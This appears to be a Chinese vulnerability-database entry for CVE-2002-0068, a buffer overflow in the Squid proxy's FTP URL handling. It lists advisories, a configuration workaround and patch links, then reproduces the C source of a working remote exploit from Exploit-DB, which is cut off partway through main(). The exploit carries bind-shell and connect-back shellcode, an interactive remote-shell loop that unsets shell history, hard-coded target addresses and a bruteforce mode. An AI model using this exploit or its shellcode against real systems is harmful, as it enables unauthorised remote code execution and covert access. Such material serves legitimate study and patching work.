CVE-2002-0068
CVSS7.5
发布时间 :2002-03-08 00:00:00
修订时间 :2016-10-17 22:15:46
NMCOE    

[原文]Squid 2.4 STABLE3 and earlier allows remote attackers to cause a denial of service (core dump) and possibly execute arbitrary code with an ftp:// URL with a larger number of special characters, which exceed the buffer when Squid URL-escapes the characters.


[CNNVD]Squid Cache FTP代理URL缓冲区溢出漏洞(CNNVD-200203-014)

        
        Squid是一个运行于Linux/Unix系统下的Web服务代理程序。
        Squid FTP代理程序在处理FTP URL时存在缓冲区溢出问题,远程攻击者可能利用这个漏洞对服务器程序实施拒绝服务攻击。
        通过发送一个特别构造的ftp:// URL给Squid服务器程序,可能导致服务器程序崩溃,需要手工重启才能恢复功能。这个漏洞也有可能导致在服务器上以Squid进程的身份执行任意指令。
        

- CVSS (基础分值)

CVSS分值: 7.5 [严重(HIGH)]
机密性影响: [--]
完整性影响: [--]
可用性影响: [--]
攻击复杂度: [--]
攻击向量: [--]
身份认证: [--]

- CPE (受影响的平台与产品)

cpe:/o:redhat:linux:7.2::i386
cpe:/o:redhat:linux:7.0::i386
cpe:/o:redhat:linux:6.2::alpha
cpe:/o:redhat:linux:7.1::alpha
cpe:/o:redhat:linux:7.1::ia64
cpe:/o:redhat:linux:7.2::ia64
cpe:/a:squid:squid:2.4_stable_3
cpe:/o:redhat:linux:7.0::alpha
cpe:/o:redhat:linux:6.2::i386
cpe:/o:redhat:linux:6.2::sparc
cpe:/o:redhat:linux:7.1::i386

- OVAL (用于检测的技术细节)

未找到相关OVAL定义

- 官方数据库链接

http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2002-0068
(官方数据源) MITRE
http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2002-0068
(官方数据源) NVD
http://www.cnnvd.org.cn/vulnerability/show/cv_cnnvdid/CNNVD-200203-014
(官方数据源) CNNVD

- 其它链接及资源

ftp://ftp.freebsd.org/pub/FreeBSD/CERT/advisories/FreeBSD-SA-02:12.squid.asc
(UNKNOWN)  FREEBSD  FreeBSD-SA-02:12
http://archives.neohapsis.com/archives/linux/caldera/2002-q1/0014.html
(UNKNOWN)  CALDERA  CSSA-2002-SCO.7
http://distro.conectiva.com.br/atualizacoes/?id=a&anuncio=000464
(UNKNOWN)  CONECTIVA  CLA-2002:464
http://marc.info/?l=bugtraq&m=101431040422095&w=2
(UNKNOWN)  BUGTRAQ  20020221 Squid HTTP Proxy Security Update Advisory 2002:1
http://marc.info/?l=bugtraq&m=101440163111826&w=2
(UNKNOWN)  BUGTRAQ  20020222 Squid buffer overflow
http://marc.info/?l=bugtraq&m=101443252627021&w=2
(UNKNOWN)  BUGTRAQ  20020222 TSLSA-2002-0031 - squid
http://www.caldera.com/support/security/advisories/CSSA-2002-010.0.txt
(UNKNOWN)  CALDERA  CSSA-2002-010.0
http://www.iss.net/security_center/static/8258.php
(UNKNOWN)  XF  squid-ftpbuildtitleurl-bo(8258)
http://www.linux-mandrake.com/en/security/2002/MDKSA-2002-016.php
(UNKNOWN)  MANDRAKE  MDKSA-2002:016
http://www.novell.com/linux/security/advisories/2002_008_squid_txt.html
(UNKNOWN)  SUSE  SuSE-SA:2002:008
http://www.redhat.com/support/errata/RHSA-2002-029.html
(VENDOR_ADVISORY)  REDHAT  RHSA-2002:029
http://www.securityfocus.com/bid/4148
(UNKNOWN)  BID  4148
http://www.squid-cache.org/Versions/v2/2.4/bugs/
(UNKNOWN)  CONFIRM  http://www.squid-cache.org/Versions/v2/2.4/bugs/

- 漏洞信息

Squid Cache FTP代理URL缓冲区溢出漏洞
高危 边界条件错误
2002-03-08 00:00:00 2005-05-02 00:00:00
远程  
        
        Squid是一个运行于Linux/Unix系统下的Web服务代理程序。
        Squid FTP代理程序在处理FTP URL时存在缓冲区溢出问题,远程攻击者可能利用这个漏洞对服务器程序实施拒绝服务攻击。
        通过发送一个特别构造的ftp:// URL给Squid服务器程序,可能导致服务器程序崩溃,需要手工重启才能恢复功能。这个漏洞也有可能导致在服务器上以Squid进程的身份执行任意指令。
        

- 公告与补丁

        临时解决方法:
        如果您不能立刻安装补丁或者升级,CNNVD建议您采取以下措施以降低威胁:
        * 拒绝Squid代理匿名ftp服务,在squid.conf文件的前面加入如下两行:
        acl non-anonymous-ftp url_regex -i ^ftp://[^/@]*@
        http_access deny non-anonymous-ftp
        厂商补丁:
        Conectiva
        ---------
        Conectiva已经为此发布了一个安全公告(CLA-2002:464)以及相应补丁:
        CLA-2002:464:squid
        链接:
        补丁下载:
        ftp://atualizacoes.conectiva.com.br/5.0/SRPMS/squid-2.3.5-1U50_1cl.src.rpm
        ftp://atualizacoes.conectiva.com.br/5.0/i386/squid-2.3.5-1U50_1cl.i386.rpm
        ftp://atualizacoes.conectiva.com.br/5.1/SRPMS/squid-2.3.5-1U51_1cl.src.rpm
        ftp://atualizacoes.conectiva.com.br/5.1/i386/squid-2.3.5-1U51_1cl.i386.rpm
        ftp://atualizacoes.conectiva.com.br/6.0/SRPMS/squid-2.3.5-1U60_1cl.src.rpm
        ftp://atualizacoes.conectiva.com.br/6.0/RPMS/squid-2.3.5-1U60_1cl.i386.rpm
        ftp://atualizacoes.conectiva.com.br/7.0/SRPMS/squid-2.4.1-4U70_2cl.src.rpm
        ftp://atualizacoes.conectiva.com.br/7.0/RPMS/squid-templates-2.4.1-4U70_2cl.i386.rpm
        ftp://atualizacoes.conectiva.com.br/7.0/RPMS/squid-doc-2.4.1-4U70_2cl.i386.rpm
        ftp://atualizacoes.conectiva.com.br/7.0/RPMS/squid-auth-2.4.1-4U70_2cl.i386.rpm
        ftp://atualizacoes.conectiva.com.br/7.0/RPMS/squid-2.4.1-4U70_2cl.i386.rpm
        ftp://atualizacoes.conectiva.com.br/ferramentas/ecommerce/SRPMS/squid-2.3.5-1U50_1cl.src.rpm
        ftp://atualizacoes.conectiva.com.br/ferramentas/ecommerce/i386/squid-2.3.5-1U50_1cl.i386.rpm
        ftp://atualizacoes.conectiva.com.br/ferramentas/graficas/SRPMS/squid-2.3.5-1U50_1cl.src.rpm
        ftp://atualizacoes.conectiva.com.br/ferramentas/graficas/i386/squid-2.3.5-1U50_1cl.i386.rpm
        FreeBSD
        -------
        FreeBSD已经为此发布了一个安全公告(FreeBSD-SA-02:12)以及相应补丁:
        FreeBSD-SA-02:12:multiple security vulnerabilities in squid port
        链接:ftp://ftp.freebsd.org/pub/FreeBSD/CERT/advisories/FreeBSD-SA-02:12.squid.asc
        补丁下载:
        ftp://ftp.FreeBSD.org/pub/FreeBSD/ports/i386/packages-4-stable/www/squid-2.4_8.tgz
        ftp://ftp.FreeBSD.org/pub/FreeBSD/ports/i386/packages-5-current/www/squid-2.4_8.tgz
        MandrakeSoft
        ------------
        MandrakeSoft已经为此发布了一个安全公告(MDKSA-2002:016-1)以及相应补丁:
        MDKSA-2002:016-1:squid
        链接:
        http://www.linux-mandrake.com/en/security/2002/MDKSA-2002-016-1.php3

        补丁下载:
        _______________________________________________________________________
        Updated Packages:
        Linux-Mandrake 7.1:
        60bb70afa95f2b43727bc8c9794fb0f9 7.1/RPMS/squid-2.4.STABLE4-1.5mdk.i586.rpm
        a46c4bf51883fcfee529de2812f55458 7.1/SRPMS/squid-2.4.STABLE4-1.5mdk.src.rpm
        Linux-Mandrake 7.2:
        0c3cfdf038650a8c85e703c8859df8d7 7.2/RPMS/squid-2.4.STABLE4-1.5mdk.i586.rpm
        a46c4bf51883fcfee529de2812f55458 7.2/SRPMS/squid-2.4.STABLE4-1.5mdk.src.rpm
        Mandrake Linux 8.0:
        174eaf577cfde553ee0b8eb301792cba 8.0/RPMS/squid-2.4.STABLE4-1.6mdk.i586.rpm
        e1d0df4fe930669e3ba12b90caefeca3 8.0/SRPMS/squid-2.4.STABLE4-1.6mdk.src.rpm
        Mandrake Linux 8.0/ppc:
        375ecbfec5947e9f47be3ada5084fc88 ppc/8.0/RPMS/squid-2.4.STABLE4-1.6mdk.ppc.rpm
        e1d0df4fe930669e3ba12b90caefeca3 ppc/8.0/SRPMS/squid-2.4.STABLE4-1.6mdk.src.rpm
        Corporate Server 1.0.1:
        60bb70afa95f2b43727bc8c9794fb0f9 1.0.1/RPMS/squid-2.4.STABLE4-1.5mdk.i586.rpm
        a46c4bf51883fcfee529de2812f55458 1.0.1/SRPMS/squid-2.4.STABLE4-1.5mdk.src.rpm
        Single Network Firewall 7.2:
        0c3cfdf038650a8c85e703c8859df8d7 snf7.2/RPMS/squid-2.4.STABLE4-1.5mdk.i586.rpm
        a46c4bf51883fcfee529de2812f55458 snf7.2/SRPMS/squid-2.4.STABLE4-1.5mdk.src.rpm
        ________________________________________________________________________
        上述升级软件可以在下列地址中的任意一个镜像ftp服务器上下载:
        
        http://www.mandrakesecure.net/en/ftp.php

        RedHat
        ------
        RedHat已经为此发布了一个安全公告(RHSA-2002:029-09)以及相应补丁:
        RHSA-2002:029-09:New squid packages available
        链接:https://www.redhat.com/support/errata/RHSA-2002-029.html
        补丁下载:
        Red Hat Linux 6.2:
        SRPMS:
        ftp://updates.redhat.com/6.2/en/os/SRPMS/squid-2.4.STABLE3-1.6.2.src.rpm
        alpha:
        ftp://updates.redhat.com/6.2/en/os/alpha/squid-2.4.STABLE3-1.6.2.alpha.rpm
        i386:
        ftp://updates.redhat.com/6.2/en/os/i386/squid-2.4.STABLE3-1.6.2.i386.rpm
        sparc:
        ftp://updates.redhat.com/6.2/en/os/sparc/squid-2.4.STABLE3-1.6.2.sparc.rpm
        Red Hat Linux 7.0:
        SRPMS:
        ftp://updates.redhat.com/7.0/en/os/SRPMS/squid-2.4.STABLE3-1.7.0.src.rpm
        alpha:
        ftp://updates.redhat.com/7.0/en/os/alpha/squid-2.4.STABLE3-1.7.0.alpha.rpm
        i386:
        ftp://updates.redhat.com/7.0/en/os/i386/squid-2.4.STABLE3-1.7.0.i386.rpm
        Red Hat Linux 7.1:
        SRPMS:
        ftp://updates.redhat.com/7.1/en/os/SRPMS/squid-2.4.STABLE3-1.7.1.src.rpm
        alpha:
        ftp://updates.redhat.com/7.1/en/os/alpha/squid-2.4.STABLE3-1.7.1.alpha.rpm
        i386:
        ftp://updates.redhat.com/7.1/en/os/i386/squid-2.4.STABLE3-1.7.1.i386.rpm
        ia64:
        ftp://updates.redhat.com/7.1/en/os/ia64/squid-2.4.STABLE3-1

- 漏洞信息 (21297)

Squid 2.0-4 Cache FTP Proxy URL Buffer Overflow Vulnerability (EDBID:21297)
unix remote
2002-02-21 Verified
0 gunzip
N/A [点击下载]
source: http://www.securityfocus.com/bid/4148/info

A buffer overflow exists in the Squid proxy server's FTP URL handling.

If a user has the ability to use the Squid process to proxy FTP requests, it may be possible for the user make a malicious request. By sending a custom-crafted ftp:// URL through the squid proxy, it is possible to crash the server, requiring manual restart to resume normal operation.

This problem could also be exploited to allow the execution of code with the privileges of the Squid process, typically 'nobody'. 

/**
 ** *OLD* *OLD* *OLD* *OLD**OLD* *OLD**OLD* *OLD**OLD* *OLD**OLD* *OLD*
 **
 ** linux/x86 2.0 <= squid <= 2.4.DEVEL4 remote exploit (c) gunzip
 **
 ** to compile type 'make squidx'
 **
 ** Version 2.4STABLE(*) are vulnerable too but you have to play with
 ** USERLEN, NOPNUM, PASSLEN values to get exploit works (because of the
 ** different memory layout). Read below how to write new targets.
 **
 ** This is however a rare exploitable bug because
 **
 ** - Squid dies every time you overflow it and you have to wait > 10 sec
 ** - You can't bruteforce too much or squid will rest in peace forever
 ** - You MUST have the rights (acl) to use ftp proxying (not in default conf)
 ** - Address differs alot (return addresses) from distro to distro
 ** - Victim host must have an ftp server running to connect to
 ** - Yes, you can change the host who runs ftp server but in this way
 **   you mess up the align so the exploit won't work (have to fix this)
 **
 ** I'll put new versions if I've time on
 ** http://members.xoom.it/gunzip/
 **
 ** comments to gunzip@ircnet - mAilto: <techieone@softhome.net>
 **
 ** TODO: check align against host field, make real targets
 **
 ** Version 0.4
 **
 ** kisses to tankie
 ** greets: arcangelo, jestah, sorbo, and daphiel for testing
 **
 ** *OLD* *OLD* *OLD* *OLD**OLD* *OLD**OLD* *OLD* *OLD* *OLD* *OLD* *OLD*
**/
/**
 **  Here are the young men, well where have they been ?
 **/
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/socket.h>
#include <sys/time.h>
#include <sys/types.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <netdb.h>
#include <errno.h>
#include <string.h>
#include <fcntl.h>
#include <getopt.h>

char inetd_shellcode[] =
        /*
         * binds an inetd shell on port 5002 (lsd-pl.net + s-poly by zillion)
        */
        "\x4b\xeb\x11\x5e\x31\xc9\xb1\x81\x80\x6c\x0e\xff\xd4\x80\xe9"
        "\x01\x75\xf6\xeb\x05\xe8\xea\xff\xff\xff\xbf\xf6\x2d\x05\x94"
        "\x24\x3c\x03\x03\x47\x3c\x3c\x03\x36\x3d\x42\x5d\xb7\x24\x3a"
        "\x3c\x01\x37\x5d\xbb\x24\x25\x2b\x27\x5d\xb5\x6d\x84\xdf\xa1"
        "\x54\xbc\xad\xd3\xd3\xd3\x39\x37\x3c\x43\xf4\x46\x3a\x39\xf4"
        "\x47\x48\x46\x39\x35\x41\xf4\x48\x37\x44\xf4\x42\x43\x4b\x35"
        "\x3d\x48\xf4\x46\x43\x43\x48\xf4\x03\x36\x3d\x42\x03\x47\x3c"
        "\xf4\x47\x3c\xf4\x01\x3d\x12\x03\x48\x41\x44\x03\x02\x4c\xf4"
        "\x0f\x03\x49\x47\x46\x03\x47\x36\x3d\x42\x03\x3d\x42\x39\x48"
        "\x38\xf4\x03\x48\x41\x44\x03\x02\x4c\x0f\x39\x37\x3c\x43\xf4"
        "\x4d\x39\x35\x3c";

char forking_bind[] =
        /*
         * by eSDee - www.netric.org, encoded with s-poly by zillion
        */
        "\x57\x5f\xeb\x11\x5e\x31\xc9\xb1\xc8\x80\x44\x0e\xff\x2b\x49"
        "\x41\x49\x75\xf6\xeb\x05\xe8\xea\xff\xff\xff\x06\x95\x06\xb0"
        "\x06\x9e\x26\x86\xdb\x26\x86\xd6\x26\x86\xd7\x26\x5e\xb6\x88"
        "\xd6\x85\x3b\xa2\x55\x5e\x96\x06\x95\x06\xb0\x25\x25\x25\x3b"
        "\x3d\x85\xc4\x88\xd7\x3b\x28\x5e\xb7\x88\xe5\x28\x88\xd7\x27"
        "\x26\x5e\x9f\x5e\xb6\x85\x3b\xa2\x55\x06\xb0\x0e\x98\x49\xda"
        "\x06\x95\x15\xa2\x55\x06\x95\x25\x27\x5e\xb6\x88\xd9\x85\x3b"
        "\xa2\x55\x5e\xac\x06\x95\x06\xb0\x06\x9e\x88\xe6\x86\xd6\x85"
        "\x05\xa2\x55\x06\x95\x06\xb0\x25\x25\x2c\x5e\xb6\x88\xda\x85"
        "\x3b\xa2\x55\x5e\x9b\x06\x95\x06\xb0\x85\xd7\xa2\x55\x0e\x98"
        "\x4a\x15\x06\x95\x5e\xd0\x85\xdb\xa2\x55\x06\x95\x06\x9e\x5e"
        "\xc8\x85\x14\xa2\x55\x06\x95\x16\x85\x14\xa2\x55\x06\x95\x16"
        "\x85\x14\xa2\x55\x06\x95\x25\x3d\x04\x04\x48\x3d\x3d\x04\x37"
        "\x3e\x43\x5e\xb8\x60\x29\xf9\xdd\x25\x28\x5e\xb6\x85\xe0\xa2"
        "\x55\x06\x95\x15\xa2\x55\x06\x95\x5e\xc8\x85\xdb\xa2\x55\xc0"
        "\x6e";

#define IP              "\x7f\x01\x01\x01"      /* 127.1.1.1 */
#define DPORT           "\x99\x99"              /* 39321 */

char connectback_shellcode[] =
        /*
         * by gloomy - www.netric.org
        */
        "\x31\xc0\xb0\x02\xcd\x80\x31\xdb\x39\xd8\x75\x54"
        "\x50\x40\x50\x40\x50\x89\xe1\x43\xb0\x66\xcd\x80"
        "\x4b\x53\x53\x68" IP "\x66\x68"  DPORT "\xb3\x02"
        "\x66\x53\x89\xe2\xb3\x10\x53\x52\x50\x89\xe1\xb3"
        "\x03\xb0\x66\xcd\x80\x31\xc9\x39\xc1\x75\x23\xb1"
        "\x02\xb0\x3f\xcd\x80\x49\x75\xf9\xb0\x3f\xcd\x80"
        "\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89"
        "\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80\x31\xc0"
        "\x40\xcd\x80";

#define CONNECT_BACK    0x1
#define CONNECT_TO      0x10

#define IP_OFFSET       28
#define PORT_OFFSET     34

struct hits
{
        char            * desc  ;
        char            * code  ;
        unsigned short  flag    ;
        unsigned short  port    ;
} ht[]=
{
        { "forking bind shellcode (45295)", forking_bind,
                CONNECT_TO, 45295 },
        { "binds a shell via inetd (5002)", inetd_shellcode,
                CONNECT_TO, 5002 },
        { "connects back on supplied host (39321)", connectback_shellcode,
                CONNECT_BACK, 39321 },
        { NULL, 0, 0 }
};

#define TIMEOUT         0x5

#ifndef INADDR_NONE
#define INADDR_NONE     0xffffffff
#endif

#ifndef INADDR_ANY
#define INADDR_ANY      0x00000000
#endif

#ifdef DEBUG
#define debug(x...) printf(x)
#else
#define debug(x...)
#endif

/**
 ** a little rip from teso fmtlib
 **/
#define OCT( b0, b1, b2, b3, addr )  { \
             b0 = (addr >> 24) & 0xff; \
             b1 = (addr >> 16) & 0xff; \
             b2 = (addr >>  8) & 0xff; \
             b3 = (addr      ) & 0xff; \
}

void shell( int fd )
{
        int rd ;
        fd_set rfds;
        static char buff[ 1024 ];
        char INIT_CMD[] = "unset HISTFILE; echo; id; uname -a;\n";

        if (write(fd, INIT_CMD, strlen( INIT_CMD )) < strlen(INIT_CMD)) {
                fprintf(stderr,"[-] Error sending evil commands");
                exit( EXIT_FAILURE );
        }

        while(1) {
                FD_ZERO( &rfds );
                FD_SET(0, &rfds);
                FD_SET(fd, &rfds);

                if(select(fd+1, &rfds, NULL, NULL, NULL) < 1) {
                        perror("[-] Select");
                        exit( EXIT_FAILURE );
                }
                if( FD_ISSET(0, &rfds) ) {
                        if( (rd = read(0, buff, sizeof(buff))) < 1) {
                                perror("[-] Read");
                                exit( EXIT_FAILURE );
                        }
                        if( write(fd,buff,rd) != rd) {
                                perror("[-] Write");
                                exit( EXIT_FAILURE );
                        }
                }
                if( FD_ISSET(fd, &rfds) ) {
                        if( (rd = read(fd, buff, sizeof(buff))) < 1) {
                                exit( EXIT_SUCCESS );
                        }
                        write(1, buff, rd);
                }
        }
}

unsigned long resolve( char * host )
{
        unsigned long   rev ;
        struct hostent  * he ;

        if (( rev = inet_addr( host )) != INADDR_NONE )
        {
                return rev ;
        }
        if ( (he = gethostbyname( host )) == NULL )
        {
                perror("[-] Gethostbyname");
                return -1;
        }
        else
        {
                return ((struct in_addr *)(he->h_addr))->s_addr ;
        }
}

int connect_to_host( unsigned long ip, unsigned short port )
{

        int     ret, flags, s ;
        struct  sockaddr_in     server ;

        memset( &server, 0x0, sizeof(server) );

        server.sin_port = htons ( port );
        server.sin_family = AF_INET ;
        server.sin_addr.s_addr = ip ;

        if ((s = socket(AF_INET, SOCK_STREAM, 0)) == -1 ) {
                perror("[-] Socket");
                return -1 ;
        }

        /**
         ** sets non blocking socket and connects, ripped somewhere
        **/

        if ((flags = fcntl (s, F_GETFL, 0)) == -1 ) {
                close( s );
                return -1;
        }

        if (fcntl(s, F_SETFL, flags | O_NONBLOCK) == -1) {
                close( s );
                return -1;
        }

        ret = connect(s, (struct sockaddr *)&server, sizeof(server));

        if ( ret < 0 )
        {
                if ( errno != EINPROGRESS ) {
                        close( s );
                        return -1;
                }
                else
                {
                        int                     n ;
                        struct timeval          tv = { TIMEOUT, 0 };
                        fd_set                  rset, wset;

                        FD_ZERO( &rset );
                        FD_ZERO( &wset );
                        FD_SET( s, &rset );
                        FD_SET( s, &wset );

                        if ((n = select( s + 1, &rset, &wset, NULL, &tv)) == -1 ) {
                                perror("[-] Select");
                                return -1;
                        }
                        /**
                         ** handles timeout
                         **/
                        if (n == 0) {
                                close( s );
                                fprintf(stderr,"[-] Timeout\n");
                                return -1;
                        }

                        if (FD_ISSET( s, &rset ) || FD_ISSET( s, &wset ))
                        {
                                int error = 0 ;
                                int len = sizeof( error );
                                if (getsockopt(s, SOL_SOCKET, SO_ERROR, &error, &len) == -1) {
                                        perror("[-] Getsockopt");
                                        return -1;
                                }
                                if (error != 0) {
                                        debug("[*] SO_ERROR != 0\n");
                                        return -1;
                                }
                        }
                        else
                        {
                                return -1 ;
                        }
                }
        }
        /**
         **      restores flags and returns
         **/
        if ( fcntl(s, F_SETFL, flags) == -1 )
                return -1;
        else
                return s;
}

size_t net_write( int fd, char * buf, size_t size )
{
        struct timeval  tv = { TIMEOUT, 0 };
        fd_set          wfds ;
        int             ret ;

        FD_ZERO( &wfds );
        FD_SET( fd, &wfds );

        if ( (ret = select( fd+1, NULL, &wfds, NULL, &tv )) == -1 ) {
                perror("[-] Select");
                exit( EXIT_FAILURE );
        }
        if ( ret == 0 ) {
                close( fd );
                fprintf(stderr,"[-] Timeout\n");
                exit( EXIT_FAILURE );
        }
        if ( FD_ISSET( fd, &wfds ) )
        {
                return( write( fd, buf, size ) );
        }
        else
        {
                fprintf(stderr,"[-] Error in sending data\n");
                exit( EXIT_FAILURE );
        }
}

size_t net_read( int fd, char * buf, size_t size )
{
        struct timeval  tv = { TIMEOUT, 0 };
        fd_set          rfds ;
        int             ret ;

        FD_ZERO( &rfds );
        FD_SET( fd, &rfds );

        if ( (ret = select( fd+1, NULL, &rfds, NULL, &tv )) == -1 ) {
                perror("[-] Select");
                exit( EXIT_FAILURE );
        }
        if ( ret == 0 ) {
                close( fd );
                fprintf(stderr,"[-] Timeout\n");
                exit( EXIT_FAILURE );
        }
        if ( FD_ISSET( fd, &rfds ) )
        {
                return( read( fd, buf, size ) );
        }
        else
        {
                fprintf(stderr,"[-] Error in sending data\n");
                exit( EXIT_FAILURE );
        }
}

char * make_connback_shellcode( const char * hellcode,
                                unsigned long ip,
                                unsigned short port,
                                int ip_offset,
                                int port_offset )
{
        /**
         ** ip and port MUST be in host byte order
        **/
        char a, b, c, d;
        char * hell = (char *)strdup( hellcode );

        fflush( stderr );

        if ( !hell ) {
                fprintf( stderr, "[-] Out of memory !\n");
                exit( EXIT_FAILURE );
        }

        debug("[*] Using ip=0x%.8x port=%d\n", (unsigned int)ip, port );
        /**
         ** can't contain 0x0a and 0x0d too !!
        **/
        OCT( a, b, c, d, ip );
        if  (   ( !a || !b || !c || !d ) ||
                (( a == 0xa )||( b == 0xa )||( c == 0xa )|| ( d == 0xa ))||
                (( a == 0xd )||( b == 0xd )||( c == 0xd )|| ( d == 0xd )) )
        {
                fprintf(stderr, "[-] Ip contains invalid byte(s) that can't be in the shellcode\n"
                                "[-] Change ip/shellcode and retry.\n");
                exit( EXIT_FAILURE );
        }
        if (    ( !(port & 0xff ) || !(port & 0xff00 )) ||
                ( (( port & 0xff )== 0xa ) || (( port & 0xff00 )== 0xa )) ||
                ( (( port & 0xff )== 0xd ) || (( port & 0xff00 )== 0xd )) )
        {
                fprintf(stderr, "[-] Port contains invalid byte(s) that can't be in the shellcode\n"
                                "[-] Change bindport/shellcode and retry.\n");
                exit( EXIT_FAILURE );
        }

        *(unsigned long  *)( hell + ip_offset   ) = htonl( ip );
        *(unsigned short *)( hell + port_offset ) = htons( port );

        return hell;
}
/**
 ** if you have time to add real targets send me them,
 ** I'll return to you the xpl with all new targets and fixes
**/
#define NOPNUM          800
#define USERLEN         11
#define PASSLEN         28
#define URLLEN          24

#define SMARTJUMP       "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
#define MASK            0x7

#define BRUTE_START ( 0x346000 + tg[n].retloc )
#define BRUTE_END   ( 0x366000 + tg[n].retloc )

#define PORT    3128
#define DELAY   12

#define request2size(req) ( req += (sizeof( size_t ) + MASK) &~ MASK )

/**
 ** retloc :
 **     echo 0x`objdump -R /usr/sbin/squid | grep write | awk '{print $1}'`
 **
 ** retaddr:
 **     gdb squid `pidof squid` then on another console run the exploit
 **     wait for squid to segfault, if it segfaults to an address like
 **     0x08041XXX then you just have to look for nopcode just at
 **     0xRETLOC + 346000 (nops look like 0xeb27eb27)
 **
 **     ie. if your retloc is 0x080bb1f8 then just do something like
 **     (gdb) x/100000x 0x080bb1f8+345000
 **
 ** padding:
 **     if squid does not segfault on an address like 0x08XXXXXX
 **     then you have to play with lenght of password, user or url
 **/
struct options
{
        char            *       desc    ;
        unsigned long           retaddr ;
        unsigned long           retloc  ;
} tg[]=
{
        { "2.4.DEVEL4 - Debian 3.0 from src" , 0x08401ba4, 0x080bb1f8 },
        { "2.3STABLE5 - Debian 3.0 from src" , 0x0841982c, 0x080b80a8 },
        { NULL, 0, 0 }
};

void usage( char * a )
{
        fprintf( stderr, "Usage: %s -v victim [options]\n\n"
        "-v\tvictim ip or fqhn\n"
        "-p\tport to connect to (default 3128)\n"
        "-f\tdoes not check if host is vulnerable (forces exploit)\n"
        "-j\tjust check if host is vulnerable\n"
        "-i\tip address for connect back shellcode\n"
        "-P\tport of connect back shellcode\n"
        "-t\tone of the targets (for a list type -t X)\n"
        "-c\tone of the shellcodes (for a list type -c X)\n"
        "-b\tbruteforce mode\n"
        "-s\tstep for bruteforce\n"
        "-d\tdelay between attacks (12 secs default)\n"
        "-n\tnumber of nops (try 800, 1024, 1500, 2068)\n"
        "-r\treturn address (shellcode address)\n"
        "-g\taddress to be overwritten\n\n", a );
        exit( EXIT_FAILURE );
}
void show_target_list()
{
        int i;
        fprintf( stderr, "[+] TARGETS:\n\n");
        for (i = 0 ; tg[ i ].desc ; i++ )
                fprintf ( stderr, " %d - %s\n", i, tg[ i ].desc);
        printf("\n");
        exit( EXIT_FAILURE );
}
void show_code_list()
{
        int i;
        fprintf( stderr, "[+] SHELLCODES\n\n");
        for (i = 0 ; ht[ i ].desc ; i++ )
                fprintf ( stderr, " %d - %s\n", i, ht[ i ].desc   );
        printf("\n");
        exit( EXIT_FAILURE );
}

int squid_check_if_vuln( unsigned long ip, char * host )
{
        int     s ;
        char    buf[ 1024 ];
        char    pad[ 64 ];

        memset( buf, 0x0, sizeof(buf) );
        memset( pad, 0x7e, sizeof(pad) );
        pad[ 63 ]  =0;

        snprintf( buf, sizeof(buf) - 1,
                "GET ftp://%s:%s@%s/ HTTP/1.0\r\n\r\n",
                pad, pad, host );

        buf[ 1024 - 1 ] =0;

        if ( (s = connect_to_host( ip, 3128 )) == -1 )
                return 0;

        if (net_write( s, buf, strlen(buf) ) == strlen(buf)) {
                memset( buf, 0x0, sizeof(buf) );
                if( net_read( s, buf, sizeof(buf)) > 0 ) {
                        close( s );
                        return 0;
                }
                else  {
                        close( s );
                        return 1;
                }
        }
        close( s );
        return 0;
}
/**
 ** every leeto exploit MUST have dots in it
**/
void wait_dots( int s )
{
        int i;

        fprintf( stdout, "[+] Sleeping %d secs to let squid restart", s);

        for ( i=0; i <= s ; i++ )
        {
                fflush( stdout );
                fprintf(stdout, ".");
                sleep( 1 );
        }

        fprintf( stdout, "\n" );
}

int main(int argc, char *argv[])
{
        unsigned long   ip              = 0x7f000001,
                        local_ip        = 0x0,
                        retaddr         = 0x0;

        unsigned int    len, i,
                        step    = NOPNUM - 256,
                        nopnum  = NOPNUM,
                        delay   = DELAY;

        unsigned short  port    = PORT ;

        int     opt, s, n =0, c =0, brute =0, force =0;

        char    user [ 128 ];
        char    pass [ 128 ];
        char    url  [ 128 ];
        char    evil [ 4096 ];
        char    nops [ NOPNUM ];

        char    * t ;
        char    * host          = "0.0.0.0" ;
        char    * victim        = "127.0.0.1";

        fprintf(stdout, "\nlinux/x86 remote exploit against squid <= 2.4.STABLE3 by gunzip\n\n");

        if ( argc < 3 )
                usage( argv[0] );

        while ((opt = getopt(argc, argv, "n:d:i:P:jfp:c:t:v:r:g:bs:h")) != EOF) {
                switch(opt)
                {
                        case 'd': delay = atoi(optarg); break;
                        case 'n': nopnum = atoi(optarg); break;
                        case 'i': local_ip = inet_addr(optarg); break;
                        case 'P': ht[c].port = atoi(optarg); break;
                        case 'f': force=1; break;
                        case 'j': force=-1; break;
                        case 'p': port = atoi(optarg) ;
                        case 'c': if ( *optarg == 'X' ) show_code_list();
                                  else c = atoi(optarg); break;
                        case 't': if ( *optarg == 'X' ) show_target_list();
                                  else n = atoi(optarg); break;
                        case 'v': victim = strdup( optarg ); break ;
                        case 'r': tg[n].retaddr = strtoul( optarg, NULL, 16 ); break ;
                        case 'g': tg[n].retloc = strtoul( optarg, NULL, 16 ); break ;
                        case 'b': brute=1; break;
                        case 's': step=atoi(optarg); break;
                        case 'h': default: usage( "./squidx" ); break;
                }
        }
        if ( ht[c].port > 65535 || ht[c].port < 1 ) {
                fprintf(stderr, "[-] Not valid port for connect back code\n");
                return -1;
        }
        if ( ht[c].flag & CONNECT_BACK ) {
                if ( !local_ip || local_ip == -1 ) {
                        fprintf(stderr,"[-] You must supply a valid ip for connect back shellcode.\n");
                        return -1;
                }
                ht[c].code = make_connback_shellcode(   ht[c].code,
                                                        ntohl( local_ip ),
                                                        ht[c].port,
                                                        IP_OFFSET,
                                                        PORT_OFFSET
                );
        }
        if ( (ip = resolve( victim )) == -1 ) {
                fprintf(stderr, "[-] Cannot resolve victim ip\n");
                return -1;
        }
        if ( !force ) {
                if ( squid_check_if_vuln( ip, host ) )
                        fprintf(stdout, "[+] Host seems vuln !\n");
                else {
                        fprintf(stderr, "[-] Host seems not vuln, sorry.\n");
                        return -1;
                }

                if ( force == -1 )
                        return 1;

                wait_dots( 12 );
        }
        fprintf(stdout,"[+] Target %s\n", tg[n].desc);
        fprintf(stdout,"[+] Host is %s\n", victim );
        /**
         ** this is for align and overflow
         **/
        memset( user, 0x7e, USERLEN );
